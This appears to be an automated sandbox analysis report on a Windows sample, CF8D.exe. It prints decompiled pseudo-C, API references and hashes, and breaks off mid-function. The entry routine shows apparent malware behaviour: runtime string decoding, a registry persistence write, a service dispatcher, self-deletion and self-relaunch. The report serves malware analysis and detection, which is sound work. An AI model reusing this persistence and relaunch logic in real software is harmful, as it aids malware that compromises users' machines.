						 *((intOrPtr*)(_v20 + 0x78)) = E00411280( *((intOrPtr*)(_v20 + 0x78)), _a4,  *_t54);
						_t60 =  &_v16; // 0x412876
						return  *_t60;
					}
					return 0;
				}
				if( *((intOrPtr*)(_v20 + 0x8c)) <  *((intOrPtr*)(_v20 + 0x88))) {
					_v8 =  *((intOrPtr*)(_v20 + 0x88)) -  *((intOrPtr*)(_v20 + 0x8c));
					_t14 =  &_a8; // 0x412876
					if(_v8 >  *_t14) {
						_t15 =  &_a8; // 0x412876
						_v8 =  *_t15;
					}
					memcpy(_a4,  *((intOrPtr*)(_v20 + 0x84)) +  *((intOrPtr*)(_v20 + 0x8c)), _v8);
					 *((intOrPtr*)(_v20 + 0x8c)) =  *((intOrPtr*)(_v20 + 0x8c)) + _v8;
					 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) + _v8;
					 *((intOrPtr*)(_v20 + 0x78)) = E00411280( *((intOrPtr*)(_v20 + 0x78)), _a4, _v8);
					return _v8;
				}
				return 0;
			}

0x004124f6
0x00412503
0x004125b7
0x00412617
0x00000000
0x0041261e
0x004125bb
0x004125bf
0x004125d4
0x004125db
0x004125e7
0x004125ed
0x004125f0
0x0041260a
0x0041260d
0x00000000
0x0041260d
0x00000000
0x004125dd
0x0041251b
0x00412536
0x0041253c
0x0041253f
0x00412541
0x00412544
0x00412544
0x00412562
0x00412577
0x00412589
0x004125a6
0x00000000
0x004125a9
0x00000000

APIs

memcpy.NTDLL(?,?,00004000,?,00412876,?,00004000), ref: 00412562
ReadFile.KERNEL32(00000000,?,v(A,v(A,00000000,?,00412876,?,00004000), ref: 004125CE

Strings

v(A, xrefs: 004125BB, 004125E7, 004125F0, 0041260D, 004125BE, 004125F3
v(A, xrefs: 004125BF, 0041253C, 00412541, 004125C2

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: FileReadmemcpy
String ID: v(A$v(A
API String ID: 1163090680-3205644266
Opcode ID: 7275ca954cdc286a3f8e939b103dc98b6529853cd61c34709e59e34097809bab
Instruction ID: 57ccbe00efff64c7029569c4514cc3a27c1a1315352579a716a79c0d7299f08d
Opcode Fuzzy Hash: 7275ca954cdc286a3f8e939b103dc98b6529853cd61c34709e59e34097809bab
Instruction Fuzzy Hash: 5641BAB5A00119EFCB44CF94C980EEEB7B6BF48304F108569E429D7351D735E951DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0042F748, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

__getptd.LIBCMTD ref: 0042F75D

Part of subcall function 0042E550: __getptd_noexit.LIBCMTD ref: 0042E556
Part of subcall function 0042E550: __amsg_exit.LIBCMTD ref: 0042E566

__getptd.LIBCMTD ref: 0042F76B
___DestructExceptionObject.LIBCMTD ref: 0042F7D8

Strings

csm, xrefs: 0042F77C

Memory Dump Source

Source File: 00000017.00000002.431817716.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Similarity

API ID: __getptd$DestructExceptionObject__amsg_exit__getptd_noexit
String ID: csm
API String ID: 4182212180-1018135373
Opcode ID: 432e90dbcee91d0de531490712065b169cb07e1f6f83ea282c32a37db06b5526
Instruction ID: 4708ddfa804b87c0f31c91f6f7254e8c4bde0c9456f0e2a62273809d210768fb
Opcode Fuzzy Hash: 432e90dbcee91d0de531490712065b169cb07e1f6f83ea282c32a37db06b5526
Instruction Fuzzy Hash: 75113A78A00214EBCF14DF55E444AAABB76BF94349FD4807AE8084B301D739EE85CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 004120F0, Relevance: 6.1, APIs: 4, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004120F0(intOrPtr __ecx, void* _a4, long _a8) {
				long _v8;
				intOrPtr _v12;
				struct _FILETIME _v20;
				signed short _v24;
				signed short _v28;
				struct _SYSTEMTIME _v44;
				intOrPtr _v48;
				intOrPtr _t88;
				intOrPtr _t89;
				intOrPtr _t115;
				intOrPtr _t117;
				long _t130;
				intOrPtr _t131;
				intOrPtr _t132;

				_v48 = __ecx;
				 *(_v48 + 0x7c) = 0;
				 *(_v48 + 0x84) = 0;
				 *((char*)(_v48 + 0x80)) = 0;
				 *(_v48 + 0x78) = 0;
				 *(_v48 + 0x70) = 0;
				 *(_v48 + 0x90) = 0;
				 *(_v48 + 0x74) = 0;
				if(_a4 == 0 || _a4 == 0xffffffff) {
					return 0x10000;
				} else {
					_v8 = SetFilePointer( *(_v48 + 4), 0, 0, 1);
					if(_v8 == 0xffffffff) {
						 *((intOrPtr*)(_v48 + 0x4c)) = 0x80000000;
						 *(_v48 + 0x70) = 0xffffffff;
						if(_a8 != 0) {
							 *(_v48 + 0x70) = _a8;
						}
						 *((char*)(_v48 + 0x6c)) = 0;
						GetLocalTime( &_v44);
						SystemTimeToFileTime( &_v44,  &_v20);
						_t130 = _v20.dwLowDateTime;
						E00411670(_t130, _v20.dwHighDateTime,  &_v28,  &_v24);
						_t88 = E00411630(_v20.dwLowDateTime, _v20.dwHighDateTime);
						_t115 = _v48;
						 *((intOrPtr*)(_t115 + 0x50)) = _t88;
						 *(_t115 + 0x54) = _t130;
						_t131 = _v48;
						_t89 = _v48;
						 *((intOrPtr*)(_t131 + 0x58)) =  *((intOrPtr*)(_t89 + 0x50));
						 *((intOrPtr*)(_t131 + 0x5c)) =  *((intOrPtr*)(_t89 + 0x54));
						_t117 = _v48;
						_t132 = _v48;
						 *((intOrPtr*)(_t117 + 0x60)) =  *((intOrPtr*)(_t132 + 0x50));
						 *((intOrPtr*)(_t117 + 0x64)) =  *((intOrPtr*)(_t132 + 0x54));
						 *(_v48 + 0x68) = _v24 & 0x0000ffff | (_v28 & 0x0000ffff) << 0x00000010;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					_v12 = E00411720(_a4, _v48 + 0x4c, _v48 + 0x70, _v48 + 0x50, _v48 + 0x68);
					if(_v12 == 0) {
						SetFilePointer(_a4, 0, 0, 0);
						 *((char*)(_v48 + 0x6c)) = 1;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					return _v12;
				}
			}

0x004120f6
0x004120fc
0x00412106
0x00412113
0x0041211d
0x00412127
0x00412131
0x0041213e
0x00412149
0x00000000
0x0041215b
0x0041216e
0x00412175
0x004121df
0x004121e9
0x004121f4
0x004121fc
0x004121fc
0x00412202
0x0041220a
0x00412218
0x0041222a
0x0041222e
0x0041223e
0x00412246
0x00412249
0x0041224c
0x0041224f
0x00412252
0x00412258
0x0041225e
0x00412261
0x00412264
0x0041226a
0x00412270
0x00412283
0x0041228c
0x00000000
0x0041228f
0x0041219f
0x004121a6
0x004121ba
0x004121c3
0x004121cd
0x00000000
0x004121d0
0x00000000
0x004121a8

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,00412ADE,?,?), ref: 00412168
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00412ADE), ref: 004121BA

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction ID: 73fee1c067eb70601bd9df8ab8ea40709189a789a85f05da52033877ad893135
Opcode Fuzzy Hash: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction Fuzzy Hash: 4A51D7749002099FDB04DFA8C484BDEBBB5BB4C304F14C15AE925AB391D775A986CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00411DB0, Relevance: 6.1, APIs: 4, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411DB0(intOrPtr __ecx, void* _a4, signed int _a8) {
				void* _v8;
				struct _OVERLAPPED* _v12;
				long _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				signed char _t101;
				void* _t102;
				intOrPtr _t110;
				intOrPtr _t113;
				intOrPtr _t128;
				intOrPtr _t131;
				void* _t148;

				_v28 = __ecx;
				_v8 = _a4;
				if(( *(_v28 + 0x2d) & 0x000000ff) == 0) {
					L11:
					_t110 = _v28;
					__eflags =  *((intOrPtr*)(_t110 + 0x20));
					if( *((intOrPtr*)(_t110 + 0x20)) == 0) {
						_t128 = _v28;
						__eflags =  *((intOrPtr*)(_t128 + 4));
						if( *((intOrPtr*)(_t128 + 4)) == 0) {
							 *((intOrPtr*)(_v28 + 0x14)) = 0x1000000;
							__eflags = 0;
							return 0;
						}
						WriteFile( *(_v28 + 4), _v8, _a8,  &_v16, 0);
						return _v16;
					}
					_t131 = _v28;
					_t113 = _v28;
					__eflags =  *((intOrPtr*)(_t131 + 0x24)) + _a8 -  *((intOrPtr*)(_t113 + 0x28));
					if( *((intOrPtr*)(_t131 + 0x24)) + _a8 <  *((intOrPtr*)(_t113 + 0x28))) {
						memcpy( *((intOrPtr*)(_v28 + 0x20)) +  *((intOrPtr*)(_v28 + 0x24)), _v8, _a8);
						 *((intOrPtr*)(_v28 + 0x24)) =  *((intOrPtr*)(_v28 + 0x24)) + _a8;
						return _a8;
					}
					 *((intOrPtr*)(_v28 + 0x14)) = 0x30000;
					return 0;
				}
				if( *(_v28 + 0x3c) != 0 &&  *((intOrPtr*)(_v28 + 0x40)) < _a8) {
					_v20 =  *(_v28 + 0x3c);
					E0040B5B0(_v20);
					_t148 = _t148 + 4;
					 *(_v28 + 0x3c) = 0;
				}
				_t117 = _v28;
				if( *(_v28 + 0x3c) == 0) {
					_t102 = E0040B590(_t117, _a8 << 1);
					_t148 = _t148 + 4;
					_v24 = _t102;
					 *(_v28 + 0x3c) = _v24;
					 *((intOrPtr*)(_v28 + 0x40)) = _a8;
				}
				memcpy( *(_v28 + 0x3c), _a4, _a8);
				_v12 = 0;
				while(1) {
					_t154 = _v12 - _a8;
					if(_v12 >= _a8) {
						break;
					}
					_t101 = E004114E0( *( *(_v28 + 0x3c) + _v12) & 0x000000ff, _t154, _v28 + 0x30,  *( *(_v28 + 0x3c) + _v12) & 0x000000ff);
					_t148 = _t148 + 8;
					 *( *(_v28 + 0x3c) + _v12) = _t101;
					_v12 =  &(_v12->Internal);
				}
				_v8 =  *(_v28 + 0x3c);
				goto L11;
			}

0x00411db6
0x00411dbc
0x00411dc8
0x00411e90
0x00411e90
0x00411e93
0x00411e97
0x00411ee9
0x00411eec
0x00411ef0
0x00411f15
0x00411f1c
0x00000000
0x00411f1c
0x00411f07
0x00000000
0x00411f0d
0x00411e99
0x00411ea2
0x00411ea5
0x00411ea8
0x00411ecd
0x00411edf
0x00000000
0x00411ee2
0x00411ead
0x00000000
0x00411eb4
0x00411dd5
0x00411de8
0x00411def
0x00411df4
0x00411dfa
0x00411dfa
0x00411e01
0x00411e08
0x00411e10
0x00411e15
0x00411e18
0x00411e21
0x00411e2a
0x00411e2a
0x00411e3c
0x00411e42
0x00411e54
0x00411e57
0x00411e5a
0x00000000
0x00000000
0x00411e71
0x00411e76
0x00411e82
0x00411e51
0x00411e51
0x00411e8d
0x00000000

APIs

new[].LIBCMTD ref: 00411E10
memcpy.NTDLL(00000000,?,000000FF,?,0041289D,?,000000FF,?,00004000), ref: 00411E3C
memcpy.NTDLL(00000000,00004000,000000FF,?,0041289D,?,000000FF,?,00004000), ref: 00411ECD

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: memcpy$new[]
String ID:
API String ID: 3541104900-0
Opcode ID: f1461162bd3f2f3f57e3543434d12ce3e12192867cf6cdfa919c21d2cf2ad32e
Instruction ID: 1be85da1f02f000736658b6362af722e2e86620b20a10b8620c900d99ce7c40f
Opcode Fuzzy Hash: f1461162bd3f2f3f57e3543434d12ce3e12192867cf6cdfa919c21d2cf2ad32e
Instruction Fuzzy Hash: 0051C7B8A00209DFCB44CF98C581EAEBBB6FF88314F548159EA05AB355D735E981CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0043B1C6, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043B3BF
__aulldiv.LIBCMT ref: 0043B3E1

Strings

9, xrefs: 0043B3F2

Memory Dump Source

Source File: 00000017.00000002.431817716.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: fdbbc188d9899f95481e989df575069c43b32564e491058a4e092b1ecaf0f186
Instruction ID: 45840991c4736d1a1e0cf1d849436147f848928d76ff1e9f70eeeb4aa77a55d9
Opcode Fuzzy Hash: fdbbc188d9899f95481e989df575069c43b32564e491058a4e092b1ecaf0f186
Instruction Fuzzy Hash: 9A41F771D05628DFEB24CF49CC99BAEB7B5FB48300F20919AD509A7240D7385E81CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0043B175, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043B3BF
__aulldiv.LIBCMT ref: 0043B3E1

Strings

9, xrefs: 0043B3F2

Memory Dump Source

Source File: 00000017.00000002.431817716.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: e54f4f5003de036cd2a37ccf29b36fa70cb7ab42f10c62601826ec5c1fee44f9
Instruction ID: b6ebc53cd1d38f3ceb247478cc598e76e7b0721bbecc6e5955cf1af3e7fbf9f1
Opcode Fuzzy Hash: e54f4f5003de036cd2a37ccf29b36fa70cb7ab42f10c62601826ec5c1fee44f9
Instruction Fuzzy Hash: BD41E4B1D05628DFDB24CF48CC99BAEB7B5FB48304F20919AE509A7240D7385E81CF85

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: CF8D.exe PID: 1068 Parent PID: 3352 CF8D.exeCOMMON

Executed Functions

Function 00409A6B, Relevance: 102.3, APIs: 48, Strings: 10, Instructions: 799
stringsleepregistryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			_entry_(CHAR* _a12, void* _a15) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				char _v28;
				char _v32;
				union _GET_FILEEX_INFO_LEVELS _v36;
				CHAR* _v40;
				char _v44;
				char _v48;
				struct _PROCESS_INFORMATION _v64;
				char _v80;
				char _v112;
				char _v371;
				char _v372;
				char _v671;
				char _v672;
				char _v704;
				struct _STARTUPINFOA _v772;
				char _v1271;
				char _v1272;
				char _v1672;
				char _t238;
				long _t239;
				char _t242;
				long _t244;
				CHAR* _t248;
				char _t250;
				intOrPtr _t257;
				char _t267;
				intOrPtr* _t272;
				char _t276;
				char _t279;
				char _t282;
				char _t283;
				void* _t284;
				char _t294;
				CHAR* _t303;
				int _t304;
				char _t309;
				CHAR* _t312;
				char _t318;
				int _t324;
				CHAR* _t325;
				char _t328;
				char* _t331;
				char _t332;
				char _t340;
				char _t344;
				CHAR* _t357;
				CHAR* _t358;
				int _t359;
				int _t373;
				long _t379;
				void* _t383;
				void* _t396;
				void* _t401;
				char _t402;
				char _t403;
				intOrPtr* _t410;
				void* _t411;
				char _t417;
				char _t418;
				void* _t424;
				intOrPtr _t426;
				void* _t428;
				char* _t436;
				intOrPtr _t441;
				CHAR* _t442;
				void* _t450;
				void* _t451;
				char _t459;
				void* _t464;
				void* _t465;
				void* _t467;
				void* _t468;
				void* _t469;
				void* _t470;
				void* _t471;
				void* _t474;
				intOrPtr _t475;

				SetErrorMode(3); // executed
				SetErrorMode(3); // executed
				SetUnhandledExceptionFilter(E00406511); // executed
				E0040EC54(); // executed
				_t475 =  *0x41201f; // 0x0
				if(_t475 != 0) {
					__eflags =  *0x4133d8;
					if(__eflags == 0) {
						L126:
						CreateThread(0, 0, E0040405E, 0, 0, 0);
						__imp__#115(0x1010,  &_v1672);
						E0040E52E(_t449, __eflags);
						E0040EAAF(1, 0);
						E00401D96(_t438, 0x412118);
						E004080C9(_t438);
						CreateThread(0, 0, E0040877E, 0, 0, 0);
						E00405E6C(__eflags);
						E00403132();
						E0040C125(__eflags);
						E00408DB1(_t438);
						Sleep(0xbb8);
						E0040C4EE();
						while(1) {
							__eflags =  *0x4133d0;
							if( *0x4133d0 == 0) {
								goto L129;
							}
							_t239 = GetTickCount();
							__eflags = _t239 -  *0x4133d0 - 0x186a0;
							if(_t239 -  *0x4133d0 < 0x186a0) {
								L131:
								Sleep(0x2710);
								continue;
							}
							L129:
							_t238 = E0040C913();
							__eflags = _t238;
							if(_t238 == 0) {
								 *0x4133d0 = GetTickCount();
							}
							goto L131;
						}
					}
					_a12 = 0xa;
					while(1) {
						_t242 = DeleteFileA(0x4133d8);
						__eflags = _t242;
						if(_t242 != 0) {
							break;
						}
						__eflags = _a12;
						if(_a12 <= 0) {
							break;
						}
						_t244 = GetLastError();
						__eflags = _t244 - 2;
						if(_t244 == 2) {
							break;
						}
						_t219 =  &_a12;
						 *_t219 = _a12 - 1;
						__eflags =  *_t219;
						Sleep(0x3e8);
					}
					E0040EE2A(_t438, 0x4133d8, 0, 0x104);
					_t465 = _t465 + 0xc;
					goto L126;
				} else {
					_v12 = 0;
					if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) == 0) {
						_v672 = 0;
					}
					if(_v672 == 0x22) {
						E0040EF00( &_v672,  &_v671);
						_t436 = E0040ED23( &_v672, 0x22);
						_t465 = _t465 + 0x10;
						if(_t436 != 0) {
							 *_t436 = 0;
						}
					}
					_t248 = GetCommandLineA();
					_t459 = 0x4122f8;
					_a12 = _t248;
					_t250 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a48, 4, 0xe4, 0xc8));
					_t454 = 0x100;
					_v8 = _t250;
					E0040EE2A(_t438, 0x4122f8, 0, 0x100);
					_t467 = _t465 + 0x28;
					if(_v8 == 0) {
						_t257 = E004096AA( &_v672,  &_v48,  &_v44,  &_v372,  &_v112); // executed
						_t467 = _t467 + 0x14;
						_v16 = _t257;
						if(_t257 == 0) {
							E0040EF00(0x4121a8,  &_v672);
							_pop(_t438);
							_a12 = GetCommandLineA();
							_v8 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a38, 4, 0xe4, 0xc8));
							E0040EE2A(_t438, 0x4122f8, 0, 0x100);
							_t468 = _t467 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								L102:
								_v8 = E0040EE95(_a12, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
								E0040EE2A(_t438, _t459, 0, _t454);
								_t467 = _t468 + 0x28;
								__eflags = _v8;
								if(_v8 == 0) {
									L110:
									_t267 = E00406EC3();
									__eflags = _t267;
									if(_t267 != 0) {
										E004098F2(_t438);
										L19:
										ExitProcess(0); // executed
									}
									__eflags = _v372;
									if(_v372 == 0) {
										L116:
										 *0x4133b0 = 0;
										L117:
										_v64.hProcess =  &_v372;
										_v64.hThread = E00409961;
										_v64.dwProcessId = 0;
										_v64.dwThreadId = 0;
										StartServiceCtrlDispatcherA( &_v64);
										goto L19;
									}
									_t272 =  &_v372;
									_t449 = _t272 + 1;
									do {
										_t438 =  *_t272;
										_t272 = _t272 + 1;
										__eflags = _t438;
									} while (_t438 != 0);
									__eflags = _t272 - _t449 - 0x20;
									if(_t272 - _t449 >= 0x20) {
										goto L116;
									}
									E0040EF00(0x4133b0,  &_v372);
									_pop(_t438);
									goto L117;
								}
								_t459 = _v8 + 3;
								_t276 = E0040ED03(_t459, 0x20);
								_pop(_t438);
								__eflags = _t276;
								if(_t276 != 0) {
									L107:
									_t454 = _t276 - _t459;
									__eflags = _t454 - 0x20;
									if(_t454 >= 0x20) {
										_t454 = 0x1f;
									}
									E0040EE08(0x412184, _t459, _t454);
									_t467 = _t467 + 0xc;
									 *((char*)(_t454 + 0x412184)) = 0;
									goto L110;
								}
								_t279 = _t459;
								_t449 = _t279 + 1;
								do {
									_t438 =  *_t279;
									_t279 = _t279 + 1;
									__eflags = _t438;
								} while (_t438 != 0);
								_t276 = _t279 - _t449 + _t459;
								__eflags = _t276;
								goto L107;
							}
							_t282 = _v8 + 3;
							_v672 = 0;
							__eflags =  *_t282 - 0x22;
							_v20 = _t282;
							if( *_t282 != 0x22) {
								_t283 = E0040ED03(_v20, 0x20);
								_pop(_t438);
								__eflags = _t283;
								if(_t283 == 0) {
									_t283 =  &(_a12[lstrlenA(_a12)]);
									__eflags = _t283;
								}
								_t284 = _t283 - _v8;
								_v24 = _t284;
								__eflags = _t284 + 0xfffffffd;
								E0040EE08( &_v672, _v20, _t284 + 0xfffffffd);
								 *((char*)(_t464 + _v24 - 0x29f)) = 0;
								L98:
								_t468 = _t468 + 0xc;
								L99:
								__eflags = _v672;
								if(_v672 != 0) {
									E0040EE08(0x4133d8,  &_v672, 0x103);
									_t468 = _t468 + 0xc;
								}
								 *0x412cc0 = 1;
								goto L102;
							}
							_v20 = _v8 + 4;
							_t294 = E0040ED03(_v8 + 4, 0x22);
							_pop(_t438);
							__eflags = _t294;
							if(_t294 == 0) {
								goto L99;
							}
							_v24 = _t294 - _v8;
							E0040EE08( &_v672, _v20, _t294 - _v8 + 0xfffffffc);
							 *((char*)(_t464 + _v24 - 0x2a0)) = 0;
							goto L98;
						}
						_v36 = 0;
						if(_t257 >= 4 || _v48 > 0x61 && _v44 != 0) {
							L84:
							if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) != 0) {
								_t303 =  &_v672;
								if(_v672 == 0x22) {
									_t303 =  &_v671;
								}
								if(_t303[1] == 0x3a && _t303[2] == 0x5c) {
									_t303[3] = 0;
									_t304 = GetDriveTypeA(_t303);
									_t515 = _t304 - 2;
									if(_t304 != 2) {
										E00409145(_t515);
										_t438 = 1;
									}
								}
							}
							goto L19;
						} else {
							E00404280(_t438, 1); // executed
							_pop(_t438);
							if(_v672 == 0) {
								goto L84;
							}
							_t309 = E0040675C( &_v672,  &_v12, 0); // executed
							_t467 = _t467 + 0xc;
							_v8 = _t309;
							if(_t309 == 0 || _v12 == 0) {
								goto L84;
							} else {
								_v32 = 0;
								_v28 = 0;
								if(_v16 == 2) {
									L55:
									__eflags = _v16 - 3;
									if(_v16 >= 3) {
										L83:
										E0040EC2E(_v8);
										_pop(_t438);
										if(_v36 != 0) {
											goto L19;
										}
										goto L84;
									}
									_t312 = E00402544(_t459, 0x410a3c, 0xc, 0xe4, 0xc8);
									_t469 = _t467 + 0x14;
									__eflags = GetEnvironmentVariableA(_t312,  &_v1272, 0x1f4);
									if(__eflags == 0) {
										L82:
										E0040EE2A(_t438, _t459, 0, _t454);
										_t467 = _t469 + 0xc;
										goto L83;
									}
									_t318 = E004099D2(_t449, __eflags,  &_v1272,  &_v672,  &_v704, _v8, _v12);
									_t469 = _t469 + 0x14;
									__eflags = _t318;
									if(_t318 == 0) {
										goto L82;
									}
									E0040EE2A(_t438, _t459, 0, _t454);
									_t470 = _t469 + 0xc;
									_v1272 = 0x22;
									lstrcpyA( &_v1271,  &_v672);
									_t324 = lstrlenA( &_v1272);
									 *((char*)(_t464 + _t324 - 0x4f4)) = 0x22;
									_t325 = _t324 + 1;
									__eflags = _v16 - 2;
									_a12 = _t325;
									 *((char*)(_t464 + _t325 - 0x4f4)) = 0;
									if(_v16 != 2) {
										L60:
										_push(0);
										_push( &_v112);
										_t328 = E00406DC2(_t438) ^ 0x61616161;
										__eflags = _t328;
										_push(_t328);
										E0040F133();
										_t470 = _t470 + 0xc;
										L61:
										_t331 = E00402544(_t459,  &E004106AC, 0x2e, 0xe4, 0xc8);
										_t471 = _t470 + 0x14;
										_t332 = RegOpenKeyExA(0x80000001, _t331, 0, 0x103,  &_v24);
										_v20 = _t332;
										__eflags = _t332;
										if(_t332 == 0) {
											_t373 =  &(_a12[1]);
											__eflags = _t373;
											_v20 = RegSetValueExA(_v24,  &_v112, 0, 1,  &_v1272, _t373);
											RegCloseKey(_v24);
										}
										E0040EE2A(_t438, _t459, 0, _t454);
										E0040EE2A(_t438,  &_v772, 0, 0x44);
										_v772.cb = 0x44;
										E0040EE2A(_t438,  &_v64, 0, 0x10);
										_t469 = _t471 + 0x24;
										_t340 = GetModuleFileNameA(GetModuleHandleA(0),  &_v372, 0x104);
										__eflags = _t340;
										if(_t340 != 0) {
											__eflags = _v372 - 0x22;
											_t357 =  &_v372;
											_v40 = _t357;
											if(_v372 == 0x22) {
												_t357 =  &_v371;
												_v40 = _t357;
											}
											__eflags =  *((char*)(_t357 + 1)) - 0x3a;
											if( *((char*)(_t357 + 1)) == 0x3a) {
												__eflags =  *((char*)(_t357 + 2)) - 0x5c;
												if( *((char*)(_t357 + 2)) == 0x5c) {
													_t358 = _v40;
													_t438 = _t358[3];
													_a15 = _t358[3];
													_t358[3] = 0;
													_t359 = GetDriveTypeA(_t358);
													__eflags = _t359 - 2;
													if(_t359 != 2) {
														_t438 = _v40;
														_v40[3] = _a15;
														lstrcatA( &_v1272, E00402544(_t459, 0x410a38, 4, 0xe4, 0xc8));
														E0040EE2A(_v40, _t459, 0, _t454);
														_t469 = _t469 + 0x20;
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														lstrcatA( &_v1272,  &_v372);
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														_v36 = 1;
													}
												}
											}
										}
										__eflags = _v32;
										if(_v32 != 0) {
											__eflags = _v28;
											if(_v28 != 0) {
												wsprintfA( &_v372, "%X%08X", _v28, _v32);
												lstrcatA( &_v1272, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
												E0040EE2A(_t438, _t459, 0, _t454);
												_t469 = _t469 + 0x30;
												lstrcatA( &_v1272,  &_v372);
											}
										}
										_t344 = CreateProcessA(0,  &_v1272, 0, 0, 0, 0x8000000, 0, 0,  &_v772,  &_v64);
										__eflags = _t344;
										if(_t344 == 0) {
											DeleteFileA( &_v672);
											_v36 = 0;
										}
										__eflags = _v16 - 1;
										if(_v16 == 1) {
											__eflags = _v20;
											if(_v20 == 0) {
												E004096FF(_t438);
											}
										}
										goto L82;
									}
									__eflags = _v112;
									if(_v112 != 0) {
										goto L61;
									}
									goto L60;
								}
								_t379 = GetTempPathA(0x1f4,  &_v1272);
								_t494 = _t379;
								if(_t379 == 0) {
									goto L55;
								}
								_t383 = E004099D2(_t449, _t494,  &_v1272,  &_v672,  &_v704, _v8, _v12); // executed
								_t467 = _t467 + 0x14;
								if(_t383 == 0) {
									goto L55;
								}
								_v80 = 0;
								if(_v16 < 3 || _v372 == 0) {
									_push(0);
									_push( &_v80);
									_push(E00406DC2(_t438) ^ 0x61616161);
									E0040F133();
									_t474 = _t467 + 0xc;
									lstrcpyA( &_v372, E00406CC9(_t438));
									lstrcatA( &_v372,  &_v80);
									lstrcatA( &_v372,  &E0041070C);
									_t396 = 0;
									__eflags = 0;
									goto L43;
								} else {
									_t410 =  &_v372;
									_t450 = _t410 + 1;
									do {
										_t441 =  *_t410;
										_t410 = _t410 + 1;
									} while (_t441 != 0);
									_t411 = _t410 - _t450;
									if(_t411 > 0 &&  *((char*)(_t464 + _t411 - 0x171)) == 0x5c) {
										_t411 = _t411 - 1;
									}
									_t451 = _t411;
									if(_t411 <= 0) {
										L41:
										_t449 = _t451 - _t411;
										_a12 = _t451 - _t411;
										E0040EE08( &_v80, _t464 + _t411 - 0x170, _t451 - _t411);
										 *((char*)(_t464 + _a12 - 0x4c)) = 0;
										_t474 = _t467 + 0xc;
										_t396 = 1;
										L43:
										if(_v44 == 0 || _v48 < 0x50) {
											_t438 = 1;
											__eflags = 1;
										} else {
											_t438 = 0;
										}
										_push(_t438);
										_push(_t396);
										_push( &_v372);
										_push( &_v80);
										_push( &_v672);
										_push( &_v704);
										_t401 = E00409326(_t438, _t449);
										_t467 = _t474 + 0x18;
										if(_t401 == 0) {
											_t402 =  *0x41217c; // 0x0
											_v32 = _t402;
											_t403 =  *0x412180; // 0x0
											goto L54;
										} else {
											if(GetFileAttributesExA( &_v672, 0,  &(_v772.dwXCountChars)) != 0) {
												_t403 = 0x61080108;
												 *0x412180 = 0x61080108;
												 *0x41217c = 0;
												_v32 = 0;
												L54:
												_v28 = _t403;
												DeleteFileA( &_v672);
												goto L55;
											}
											_t459 = 1;
											if(_v16 == 1) {
												E004096FF(_t438);
											}
											_v36 = _t459;
											goto L83;
										}
									} else {
										_t442 =  &_v372;
										while( *((char*)(_t442 + _t411 - 1)) != 0x5c) {
											_t411 = _t411 - 1;
											if(_t411 > 0) {
												continue;
											}
											goto L41;
										}
										goto L41;
									}
								}
							}
						}
					}
					_t417 = _v8;
					_t454 = _t417 + 3;
					_v372 = 0;
					if( *((char*)(_t417 + 3)) != 0x22) {
						_t418 = E0040ED03(_t454, 0x20);
						_pop(_t438);
						__eflags = _t418;
						if(_t418 == 0) {
							_t418 =  &(_a12[lstrlenA(_a12)]);
							__eflags = _t418;
						}
						_t459 = _t418 - _v8;
						__eflags = _t459;
						E0040EE08( &_v372, _t454, _t459 - 3);
						 *((char*)(_t464 + _t459 - 0x173)) = 0;
						L13:
						_t467 = _t467 + 0xc;
						L14:
						if(_v372 != 0 && _v672 != 0) {
